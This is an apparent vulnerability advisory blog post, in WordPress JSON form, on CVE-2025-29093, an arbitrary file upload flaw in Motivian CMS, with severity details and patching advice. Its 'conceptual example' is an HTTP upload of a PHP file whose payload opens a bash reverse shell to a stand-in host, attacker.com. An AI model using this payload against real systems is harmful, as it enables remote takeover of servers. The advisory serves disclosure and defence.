{"id":50946,"date":"2025-06-10T21:19:58","date_gmt":"2025-06-10T21:19:58","guid":{"rendered":""},"modified":"2025-09-07T11:38:26","modified_gmt":"2025-09-07T17:38:26","slug":"cve-2025-29093-critical-file-upload-vulnerability-in-motivian-cms-v-41-0-0","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-29093-critical-file-upload-vulnerability-in-motivian-cms-v-41-0-0\/","title":{"rendered":"<strong>CVE-2025-29093: Critical File Upload Vulnerability in Motivian CMS v.41.0.0<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the rapidly evolving landscape of digital security, identifying and mitigating vulnerabilities is a crucial task. One such vulnerability, CVE-2025-29093, presents a pressing concern, especially for organizations using Motivian Content Management System (CMS) v.41.0.0. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46474-php-remote-file-inclusion-vulnerability-in-seur-oficial\/\"  data-wpil-monitor-id=\"57241\">vulnerability allows a potential attacker to upload malicious files<\/a> and execute arbitrary code, posing a significant risk to the integrity, availability, and confidentiality of the affected systems.<br \/>\nThis blog post will delve into the specifics of this CVE, discussing its severity score, potential impact, and possible attack vector. Our aim is to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4578-sql-injection-vulnerability-in-file-provider-wordpress-plugin\/\"  data-wpil-monitor-id=\"58813\">provide a comprehensive understanding of the vulnerability<\/a> and how to effectively mitigate its impact.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-29093<br \/>\nSeverity: High (CVSS score 8.2)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-45565-memory-corruption-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"58058\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1365573778\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Motivian CMS | v.41.0.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of a weakness in the Content\/Gallery\/Images component of the Motivian CMS. In the absence of adequate input validation and sanitization, an attacker can upload a file with <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45854-arbitrary-code-execution-vulnerability-in-jehc-bpm-2-0-1\/\"  data-wpil-monitor-id=\"58668\">arbitrary code<\/a> encapsulated within it. Once uploaded, the attacker can trigger the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48492-remote-code-execution-vulnerability-in-getsimple-cms\/\"  data-wpil-monitor-id=\"57249\">execution of the code<\/a>, which may lead to unauthorized system access, data manipulation, or even a full system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1477939574\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. Please note that this is a simplified representation and actual exploit codes may vary in complexity.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/Content\/Gallery\/Images HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=abc\n--abc\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/php\n&lt;?php\n\/\/ malicious payload\nexec(&quot;\/bin\/bash -c &#039;bash -i &gt; \/dev\/tcp\/attacker.com\/8080 0&gt;&amp;1&#039;&quot;);\n?&gt;\n--abc--<\/code><\/pre>\n<p>This example attempts to upload a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32302-critical-php-remote-file-inclusion-vulnerability-in-gavias-winnex\/\"  data-wpil-monitor-id=\"57242\">PHP file<\/a> containing a payload that establishes a reverse shell to the attacker&#8217;s machine. Upon successful <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64477\">upload and execution<\/a>, the attacker would have a shell on the target system.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users of Motivian CMS v.41.0.0 are strongly urged to apply the vendor-supplied <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49002-critical-vulnerability-in-dataease-bypassing-patch-for-cve-2025-32966\/\"  data-wpil-monitor-id=\"58918\">patch to resolve this vulnerability<\/a>. In cases where immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, regularly monitoring system logs and network traffic can help detect any unusual activity or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-7457-macos-authorization-model-exploit-leading-to-potential-mitm-attacks\/\"  data-wpil-monitor-id=\"80014\">potential exploit<\/a> attempts.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the rapidly evolving landscape of digital security, identifying and mitigating vulnerabilities is a crucial task. One such vulnerability, CVE-2025-29093, presents a pressing concern, especially for organizations using Motivian Content Management System (CMS) v.41.0.0. This vulnerability allows a potential attacker to upload malicious files and execute arbitrary code, posing a significant risk to the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-50946","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/50946","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=50946"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/50946\/revisions"}],"predecessor-version":[{"id":72438,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/50946\/revisions\/72438"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=50946"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=50946"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=50946"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=50946"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=50946"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=50946"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=50946"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=50946"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=50946"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}